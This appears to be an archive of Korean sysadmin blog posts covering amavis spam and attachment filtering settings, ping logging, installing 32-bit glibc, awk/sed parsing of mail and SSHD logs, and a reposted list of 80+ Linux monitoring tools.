즉, FROM: postmaster@example.com 로 사용자에게 메시지가 전달된다.

 

$spam_admin 설정이 있지만 스팸 발견시 경고 메시지를 전송하지는 말자.

 

아래 명령들은 amavis 설정 파일에 기본적으로 준비되어 있지 않다. 입력을 하길 바란다.

@bypass_banned_checks_maps = (1);

특정한 확장자를 포함한 이메일은 금지한다 - 모든 이중 확장자 파일은 막는다.

금지할 확장자 들은 $banned_filename_re = new_RE 에서 정의한다.

 

금지 파일

$banned_filename_re = new_RE(

# qr'^UNDECIPHERABLE$',# is or contains any undecipherable components

 

# block certain double extensions anywhere in the base name

qr'.[^./]*[A-Za-z][^./]*.(exe|vbs|pif|scr|bat|cmd|com|cpl|dll).?$'i,

 

# qr'{[0-9a-z]{4,}(-[0-9a-z]{4,}){0,7}}?'i,# Class ID extensions - CLSID

 

qr'^application/x-msdownload$'i,# block these MIME types

qr'^application/x-msdos-program$'i,

qr'^application/hta$'i,

 

# qr'^message/partial$'i,# rfc2046 MIME type

# qr'^message/external-body$'i,# rfc2046 MIME type

 

# [ qr'^.(Z|gz|bz2)$'=> 0 ],# allow any in Unix-compressed

[ qr'^.(rpm|cpio|tar)$'=> 0 ],# allow any in Unix-type archives

# [ qr'^.(zip|rar|arc|arj|zoo)$'=> 0 ],# allow any within such archives

 

qr'..(exe|vbs|pif|scr|bat|cmd|com|cpl)$'i, # banned extension - basic

# qr'..(ade|adp|app|bas|bat|chm|cmd|com|cpl|crt|emf|exe|fxp|grp|hlp|hta|

#inf|ins|isp|js|jse|lnk|mda|mdb|mde|mdw|mdt|mdz|msc|msi|msp|mst|

#ops|pcd|pif|prg|reg|scr|sct|shb|shs|vb|vbe|vbs|

#wmf|wsc|wsf|wsh)$'ix,# banned ext - long

 

# qr'..(mim|b64|bhx|hqx|xxe|uu|uue)$'i,# banned extension - WinZip vulnerab.

 

qr'^.(exe-ms)$',# banned file(1) types

# qr'^.(exe|lha|tnef|cab|dll)$',# banned file(1) types

);

 

@whitelist_sender_maps = read_hash("$MYHOME/white.lst");

white-list 파일이 있는 위치를 지정한다.기본값은 /var/amavis.

 

@blacklist_sender_maps = read_hash("$MYHOME/black.lst");

black-list 송신자가 있는 위치를 지정한다. 기본값은 /var/amavis.

 

$spam_quarantine_to = "spam@$mydomain";

$sa_kill_level_deflt 에서 지정한 스팸 레벨로 검출한 스팸  메시지를 전달한 이메일 주소. 만약 스팸으로 처리된 메시지를 사용자에게 Spam tag만 붙여 전송하고자 한다면 이 명령은 무시해도 좋다. 그렇지만 $sa_kill_level_deflt 과 $sa_tag2_level_deflt 레벨이 동일하다면 $spam_quarantine_to 설정을 해야 한다.

 

$virus_quarantine_to = "virus@$mydomain";

모든 바이러스 메일을 지정한 이메일로 전달한다.

 

$banned_quarantine_to = "spam@$mydomain";

지정한 파일 형식 ($bypass_banned_checks_maps 에서)을 금지하는 설정을 하고 해당 메일을 지정한 이메일로 전송한다.

 

$recipient_delimiter = '+';

or

$recipient_delimiter = '-';

Postfix 에서 이메일 주소에서 구분자를 지정했다면 둘 중 하나를 설정한다.

 

$hdrfrom_notify_admin = "Content Filter <postmaster@$mydomain>";

이 명령은 이메일 헤더의 FROM을 강제로 지정한 주소로 바꾸어준다.

 

Outgoing email 에 spam 해제

I think the easiest way to bypass spam scanning for outgoing emails is to set

     @bypass_spam_checks_maps = ( ["example.com"] );

 Or if you want to read your domains from a file:

     read_hash(%local_domains, '/etc/amavis/local_domains');

Then you can add your domains to /etc/amavis/local_domains - one domain per line.

You can use the same syntax for bypass virus/header/banned checks.

 

2021년 12월 22일 수요일

[Linux]_로그 파일로 남기기

1. ping에 날자 정보 추가하기
 [출처 : https://zetawiki.com/ ]
ping 서버주소 | xargs -I{} echo `date` {}
ping 서버주소 | xargs -I{} date '+%F %T {}'
ping 서버주소 | awk '{print strftime()" "$0}'
ping 서버주소 | while read n; do echo $(date) $n; done 

2. 로그 파일로 남기기

3. 두개를 합쳐서 로그를 남기고 파일로 저장하여 이후 분석에 사용 가능함.
# ping 서버주소 | xargs -I{} echo `date` {} | tee ping.txt

4. 실행되는 스크립터에 대한 화면 조회 내용을 로그 파일로 남기기
# script -c "script_name" > log.txt

5. 일자 변환
$ date +%Y
2024
$ date +%m
10
$ date +%d
30
$ date +%Y-%m-%d
2024-10-30
 
6. 특정 요일에 스크립터 실행하기
week=`date +%a`
if [ $week = Sat ];
then
  sh script.sh 
fi


2020년 12월 4일 금요일

Linux 64bit 시스템에서 32bit 프로그램 실행하기

 별도 라이브러리 설치 필요

[root@localhost oracle]# yum install glibc.i686
Last metadata expiration check: 2:52:40 ago on Fri Dec  4 14:58:27 2020.
Dependencies resolved.
================================================================================
 Package         Architecture   Version                  Repository        Size
================================================================================
Installing:
 glibc           i686           2.28-101.el8             BaseOS           3.4 M

Transaction Summary
================================================================================
Install  1 Package

Total download size: 3.4 M
Installed size: 15 M
Is this ok [y/N]: y
Downloading Packages:
glibc-2.28-101.el8.i686.rpm                     960 kB/s | 3.4 MB     00:03
--------------------------------------------------------------------------------
Total                                           960 kB/s | 3.4 MB     00:03
Running transaction check
Transaction check succeeded.
Running transaction test
Transaction test succeeded.
Running transaction
  Preparing        :                                                        1/1
  Running scriptlet: glibc-2.28-101.el8.i686                                1/1
  Installing       : glibc-2.28-101.el8.i686                                1/1
  Running scriptlet: glibc-2.28-101.el8.i686                                1/1
  Verifying        : glibc-2.28-101.el8.i686                                1/1
Installed products updated.

Installed:
  glibc-2.28-101.el8.i686

Complete!

2019년 9월 23일 월요일

[Linux] awk와 sed 사용법

[ 출처 :  https://www.thinkit.or.kr/ ]

* awk : 일정한 형식의 문서의 데이터를 추출함.
 # cat /var/log/maillog | grep LOGIN | awk '{print $1,$2,$3,$7,$9}'
 - 원본의 $?번째 문자열을 골라 추출
Sep 22 14:38:27 ns1 postfix/submission/smtpd[389]: 69D87174012A: client=unknown[xx.xx.xx.xx], sasl_method=LOGIN, sasl_username=xx@xx.xx
 - 결과
Sep 22 14:38:27 client=unknown[xx.xx.xx.xx] sasl_username=xx@xx.xx

 # cat /var/log/maillog | grep LOGIN | awk '{print $9}'| awk '{arr[$1]+=1} END {for (i in arr) {print i "\t" ":" arr[i]}}'
  - 결과
 sasl_username=xx@xx.xx : 1

* sed : 입력 문자열을 변경 처리한다.
 - 이메일 로그상의 이메일 주소만 추출
 # cat /var/log/maillog | grep LOGIN | awk '{print $9}' | sed 's/sasl_username=//g'
 - 결과
  xx@xx.xx

두개를 합산하여 이메일 계정별 로그인 횟수 계산
# cat /var/log/maillog | grep LOGIN | awk '{print $9}'| sed 's/sasl_username=//g' | awk '{print $5}'| awk '{arr[$1]+=1} END {for (i in arr) {print i "\t" ":" arr[i]}}'
 - 결과
  xx@xx.xx : 5
  xx@xx.xx : 1

 

** 이메일 로그상의 특정 문자 추출하여 비교대상 비교하기(처리번호추출)

May  9 03:22:45 ns1 postfix/qmgr[8151]: 763721740172: from=<xx@xx.com>

# /var/log/maillog* | grep "postfix/qmgr" |grep "from=<xx@xxx.com" | awk '{print $6}' | sed 's/.$//'  > 1.txt

값 비교하여 거부(reject)된 대상만 보기

# grep  -f 1.txt /var/log/maillog | grep "reject" 


** 특정일에 SSHD 로그인 시도 IP별로 횟수 확인 하기

# cat /var/log/secure | grep "Feb 24"| grep "rhost=" | awk '{print $14}'|tr -d "rhost=" |sort |uniq -c

 

2019년 8월 7일 수요일

[Linux] 80+ Linux Monitoring Tools for SysAdmins

[ 출처 : https://blog.stackpath.com/  ]

This post was originally published on the blog by Server Density, an infrastructure monitoring company that joined StackPath in 2018.
It's hard work monitoring and debugging Linux performance problems, but it's easier with the right tools at the right time. This is why we decided to make the most comprehensive list of Linux monitoring tools on the Internet.
To help you find the right tool, we separated the 80+ tools in this list into five categories:

Command Line Tools

1. Top


This is a small tool which is pre-installed on many unix systems. When you want an overview of all the processes or threads running in the system: top is a good tool. Order processes on different criteria - the default of which is CPU.

2. htop


Htop is essentially an enhanced version of top. It’s easier to sort by processes. It’s visually easier to understand and has built in commands for common things you would like to do. Plus it’s fully interactive.

3. atop

Atop monitors all processes much like top and htop, unlike top and htop however it has daily logging of the processes for long-term analysis. It also shows resource consumption by all processes. It will also highlight resources that have reached a critical load.

4. apachetop

Apachetop monitors the overall performance of your apache webserver. It’s largely based on mytop. It displays current number of reads, writes and the overall number of requests processed.

5. ftptop

ftptop gives you basic information of all the current ftp connections to your server such as the total amount of sessions, how many are uploading and downloading and who the client is.

6. mytop


mytop is a neat tool for monitoring threads and performance of mysql. It gives you a live look into the database and what queries it’s processing in real time.

7. powertop


powertop helps you diagnose issues that has to do with power consumption and power management. It can also help you experiment with power management settings to achieve the most efficient settings for your server. You switch tabs with the tab key.

8. iotop


iotop checks the I/O usage information and gives you a top-like interface to that. It displays columns on read and write and each row represents a process. It also displays the percentage of time the process spent while swapping in and while waiting on I/O.

Desktop Monitoring

9. ntopng


ntopng is the next generation of ntop and the tool provides a graphical user interface via the browser for network monitoring. It can do stuff such as: geolocate hosts, get network traffic and show ip traffic distribution and analyze it.

10. iftop


iftop is similar to top, but instead of mainly checking for cpu usage it listens to network traffic on selected network interfaces and displays a table of current usage. It can be handy for answering questions such as “Why on earth is my internet connection so slow?!”.

11. jnettop


jnettop visualises network traffic in much the same way as iftop does. It also supports customizable text output and a machine-friendly mode to support further analysis.

12. bandwidthd


BandwidthD tracks usage of TCP/IP network subnets and visualises that in the browser by building a html page with graphs in png. There is a database driven system that supports searching, filtering, multiple sensors and custom reports.

13. EtherApe

EtherApe displays network traffic graphically, the more talkative the bigger the node. It either captures live traffic or can read it from a tcpdump. The displayed can also be refined using a network filter with pcap syntax.

14. ethtool


ethtool is used for displaying and modifying some parameters of the network interface controllers. It can also be used to diagnose Ethernet devices and get more statistics from the devices.

15. NetHogs


NetHogs breaks down network traffic per protocol or per subnet. It then groups by process. So if there’s a surge in network traffic you can fire up NetHogs and see which process is causing it.

16. iptraf


iptraf gathers a variety of metrics such as TCP connection packet and byte count, interface statistics and activity indicators, TCP/UDP traffic breakdowns and station packet and byte counts.

17. ngrep


ngrep is grep but for the network layer. It’s pcap aware and will allow to specify extended regular or hexadecimal expressions to match against packets of .

18. MRTG


MRTG was orginally developed to monitor router traffic, but now it’s able to monitor other network related things as well. It typically collects every five minutes and then generates a html page. It also has the capability of sending warning emails.

19. bmon


Bmon monitors and helps you debug networks. It captures network related statistics and presents it in human friendly way. You can also interact with bmon through curses or through scripting.

20. traceroute


Traceroute is a built-in tool for displaying the route and measuring the delay of packets across a network.

21. IPTState

IPTState allows you to watch where traffic that crosses your iptables is going and then sort that by different criteria as you please. The tool also allows you to delete states from the table.

22. darkstat


Darkstat captures network traffic and calculates statistics about usage. The reports are served over a simple HTTP server and gives you a nice graphical user interface of the graphs.

23. vnStat


vnStat is a network traffic monitor that uses statistics provided by the kernel which ensures light use of system resources. The gathered statistics persists through system reboots. It has color options for the artistic sysadmins.

24. netstat


Netstat is a built-in tool that displays TCP network connections, routing tables and a number of network interfaces. It’s used to find problems in the network.

25. ss

Instead of using netstat, it’s however preferable to use ss. The ss command is capable of showing more information than netstat and is actually faster. If you want a summary statistics you can use the command ss -s.

26. nmap


Nmap allows you to scan your server for open ports or detect which OS is being used. But you could also use this for SQL injection vulnerabilities, network discovery and other means related to penetration testing.

27. MTR


MTR combines the functionality of traceroute and the ping tool into a single network diagnostic tool. When using the tool it will limit the number hops individual packets has to travel while also listening to their expiry. It then repeats this every second.

28. tcpdump


tcpdump will output a description of the contents of the packet it just captured which matches the expression that you provided in the command. You can also save the this data for further analysis.

29. Justniffer


Justniffer is a tcp packet sniffer. You can choose whether you would like to collect low-level data or high-level data with this sniffer. It also allows you to generate logs in customizable way. You could for instance mimic the access log that apache has.

Infrastructure Monitoring

30. Server Density


Our server monitoring tool! It has a web interface that allows you to set alerts and view graphs for all system and network metrics. You can also set up monitoring of websites whether they are up or down. Server Density allows you to set permissions for users and you can extend your monitoring with our plugin infrastructure or api. The service already supports Nagios plugins.

31. OpenNMS


OpenNMS has four main functional areas: event management and notifications; discovery and provisioning; service monitoring and data collection. It’s designed to be customizable to work in a variety of network environments.

32. SysUsage


SysUsage monitors your system continuously via Sar and other system commands. It also allows notifications to alarm you once a threshold is reached. SysUsage itself can be run from a centralized place where all the collected statistics are also being stored. It has a web interface where you can view all the stats.

33. brainypdm


brainypdm is a data management and monitoring tool that has the capability to gather data from nagios or another generic source to make graphs. It’s cross-platform, has custom graphs and is web based.

34. PCP


PCP has the capability of collating metrics from multiple hosts and does so efficiently. It also has a plugin framework so you can make it collect specific metrics that is important to you. You can access graph data through either a web interface or a GUI. Good for monitoring large systems.

35. KDE system guard


This tool is both a system monitor and task manager. You can view server metrics from several machines through the worksheet and if a process needs to be killed or if you need to start a process it can be done within KDE system guard.

36. Munin


Munin is both a network and a system monitoring tool which offers alerts for when metrics go beyond a given threshold. It uses RRDtool to create the graphs and it has web interface to display these graphs. Its emphasis is on plug and play capabilities with a number of plugins available.

37. Nagios


Nagios is a system and network monitoring tool that helps you monitor your many servers. It has support for alerting for when things go wrong. It also has many plugins written for the platform.

38. Zenoss


Zenoss provides a web interface that allows you to monitor all system and network metrics. Moreover it discovers network resources and changes in network configurations. It has alerts for you to take action on and it supports the Nagios plugins.

39. Cacti


(And one for luck!) Cacti is network graphing solution that uses the RRDtool data storage. It allows a user to poll services at predetermined intervals and graph the result. Cacti can be extended to monitor a source of your choice through shell scripts.

40. Zabbix


Zabbix is an open source infrastructure monitoring solution. It can use most databases out there to store the monitoring statistics. The Core is written in C and has a frontend in PHP. If you don't like installing an agent, Zabbix might be an option for you.

41. nmon


nmon either outputs the data on screen or saves it in a comma separated file. You can display CPU, memory, network, filesystems, top processes. The data can also be added to a RRD database for further analysis.

42. conky


Conky monitors a plethora of different OS stats. It has support for IMAP and POP3 and even support for many popular music players! For the handy person you could extend it with your own scripts or programs using Lua.

43. Glances


Glances monitors your system and aims to present a maximum amount of information in a minimum amount of space. It has the capability to function in a client/server mode as well as monitoring remotely. It also has a web interface.

44. saidar


Saidar is a very small tool that gives you basic information about your system resources. It displays a full screen of the standard system resources. The emphasis for saidar is being as simple as possible.

45. RRDtool


RRDtool is a tool developed to handle round-robin databases or RRD. RRD aims to handle time-series data like CPU load, temperatures etc. This tool provides a way to extract RRD data in a graphical format.

46. monit


Monit has the capability of sending you alerts as well as restarting services if they run into trouble. It’s possible to perform any type of check you could write a script for with monit and it has a web user interface to ease your eyes.

47. Linux process explorer


Linux process explorer is akin to the activity monitor for OSX or the windows equivalent. It aims to be more usable than top or ps. You can view each process and see how much memory usage or CPU it uses.

48. df


df is an abbreviation for disk free and is pre-installed program in all unix systems used to display the amount of available disk space for filesystems which the user have access to.

49. discus


Discus is similar to df however it aims to improve df by making it prettier using fancy features as colors, graphs and smart formatting of numbers.
xosview

xosview is a classic system monitoring tool and it gives you a simple overview of all the different parts of the including IRQ.

51. Dstat


Dstat aims to be a replacement for vmstat, iostat, netstat and ifstat. It allows you to view all of your system resources in real-time. The data can then be exported into csv. Most importantly dstat allows for plugins and could thus be extended into areas not yet known to mankind.

52. Net-SNMP

SNMP is the protocol ‘simple network management protocol’ and the Net-SNMP tool suite helps you collect accurate information about your servers using this protocol.

53. incron

Incron allows you to monitor a directory tree and then take action on those changes. If you wanted to copy files to directory ‘b’ once new files appeared in directory ‘a’ that’s exactly what incron does.

54. monitorix

Monitorix is lightweight system monitoring tool. It helps you monitor a single machine and gives you a wealth of metrics. It also has a built-in HTTP server to view graphs and a reporting mechanism of all metrics.

55. vmstat


vmstat or virtual memory statistics is a small built-in tool that monitors and displays a summary about the memory in the machine.

56. uptime

This small command that quickly gives you information about how long the machine has been running, how many users currently are logged on and the system load average for the past 1, 5 and 15 minutes.

57. mpstat


mpstat is a built-in tool that monitors cpu usage. The most common command is using mpstat -P ALL which gives you the usage of all the cores. You can also get an interval update of the CPU usage.

58. pmap


pmap is a built-in tool that reports the memory map of a process. You can use this command to find out causes of memory bottlenecks.

59. ps


The ps command will give you an overview of all the current processes. You can easily select all processes using the command ps -A

60. sar


sar is a part of the sysstat package and helps you to collect, report and save different system metrics. With different commands it will give you CPU, memory and I/O usage among other things.

61. collectl


Similar to sar collectl collects performance metrics for your machine. By default it shows cpu, network and disk stats but it collects a lot more. The difference to sar is collectl is able to deal with times below 1 second, it can be fed into a plotting tool directly and collectl monitors processes more extensively.

62. iostat


iostat is also part of the sysstat package. This command is used for monitoring system input/output. The reports themselves can be used to change system configurations to better balance input/output load between hard drives in your machine.

63. free


This is a built-in command that displays the total amount of free and used physical memory on your machine. It also displays the buffers used by the kernel at that given moment.

64. Proc file system


The proc file system gives you a peek into kernel statistics. From these statistics you can get detailed information about the different hardware devices on your machine. Take a look at the full list of the proc file statistics

65. GKrellM

GKrellm is a gui application that monitor the status of your hardware such CPU, main memory, hard disks, network interfaces and many other things. It can also monitor and launch a mail reader of your choice.

66. Gnome system monitor


Gnome system monitor is a basic system monitoring tool that has features looking at process dependencies from a tree view, kill or renice processes and graphs of all server metrics.

Log Monitoring Tools

67. GoAccess


GoAccess is a real-time web log analyzer which analyzes the access log from either apache, nginx or amazon cloudfront. It’s also possible to output the data into HTML, JSON or CSV. It will give you general statistics, top visitors, 404s, geolocation and many other things.

68. Logwatch

Logwatch is a log analysis system. It parses through your system’s logs and creates a report analyzing the areas that you specify. It can give you daily reports with short digests of the activities taking place on your machine.

69. Swatch


Much like Logwatch Swatch also monitors your logs, but instead of giving reports it watches for regular expression and notifies you via mail or the console when there is a match. It could be used for intruder detection for example.

70. MultiTail


MultiTail helps you monitor logfiles in multiple windows. You can merge two or more of these logfiles into one. It will also use colors to display the logfiles for easier reading with the help of regular expressions.

Network Monitoring

71. acct or psacct

acct or psacct (depending on if you use apt-get or yum) allows you to monitor all the commands a users executes inside the system including CPU and memory time. Once installed you get that summary with the command ‘sa’.

72. whowatch

Similar to acct this tool monitors users on your system and allows you to see in real time what commands and processes they are using. It gives you a tree structure of all the processes and so you can see exactly what’s happening.

73. strace


strace is used to diagnose, debug and monitor interactions between processes. The most common thing to do is making strace print a list of system calls made by the program which is useful if the program does not behave as expected.

74. DTrace


DTrace is the big brother of strace. It dynamically patches live running instructions with instrumentation code. This allows you to do in-depth performance analysis and troubleshooting. However, it’s not for the weak of heart as there is a 1200 book written on the topic.

75. webmin


Webmin is a web-based system administration tool. It removes the need to manually edit unix configuration files and lets you manage the system remotely if need be. It has a couple of monitoring modules that you can attach to it.

76. stat


Stat is a built-in tool for displaying status information of files and file systems. It will give you information such as when the file was modified, accessed or changed.

77. ifconfig


ifconfig is a built-in tool used to configure the network interfaces. Behind the scenes network monitor tools use ifconfig to set it into promiscuous mode to capture all packets. You can do it yourself with ifconfig eth0 promisc and return to normal mode with ifconfig eth0 -promisc.

78. ulimit


ulimit is a built-in tool that monitors system resources and keeps a limit so any of the monitored resources don’t go overboard. For instance making a fork bomb where a properly configured ulimit is in place would be totally fine.

79. cpulimit

CPUlimit is a small tool that monitors and then limits the CPU usage of a process. It’s particularly useful to make batch jobs not eat up too many CPU cycles.

80. lshw


lshw is a small built-in tool extract detailed information about the hardware configuration of the machine. It can output everything from CPU version and speed to mainboard configuration.

81. w

W is a built-in command that displays information about the users currently using the machine and their processes.

82. lsof


lsof is a built-in tool that gives you a list of all open files and network connections. From there you can narrow it down to files opened by processes, based on the process name, by a specific user or perhaps kill all processes that belongs to a specific user.
Thanks for your suggestions. It's an oversight on our part that we'll have to go back trough and renumber all the headings. In light of that, here's a short section at the end for some of the Linux monitoring tools recommended by you:

83. collectd

Collectd is a Unix daemon that collects all your monitoring statistics. It uses a modular design and plugins to fill in any niche monitoring. This way collectd stays as lightweight and customizable as possible.

84. Observium

Observium is an auto-discovering network monitoring platform supporting a wide range of hardware platforms and operating systems. Observium focuses on providing a beautiful and powerful yet simple and intuitive interface to the health and status of your network.

85. Nload

It's a command line tool that monitors network throughput. It's neat because it visualizes the in and and outgoing traffic using two graphs and some additional useful data like total amount of transferred data. You can install it with
yum install nload
or
sudo apt-get install nload

86. SmokePing

SmokePing keeps track of the network latencies of your network and it visualises them too. There are a wide range of latency measurement plugins developed for SmokePing. If a GUI is important to you it's there is an ongoing development to make that happen.

87. MobaXterm

If you're working in windows environment day in and day out. You may feel limited by the terminal Windows provides. MobaXterm comes to the rescue and allows you to use many of the terminal commands commonly found in Linux. Which will help you tremendously in your monitoring needs!

88. Shinken monitoring

Shinken is a monitoring framework which is a total rewrite of Nagios in python. It aims to enhance flexibility and managing a large environment. While still keeping all your nagios configuration and plugins.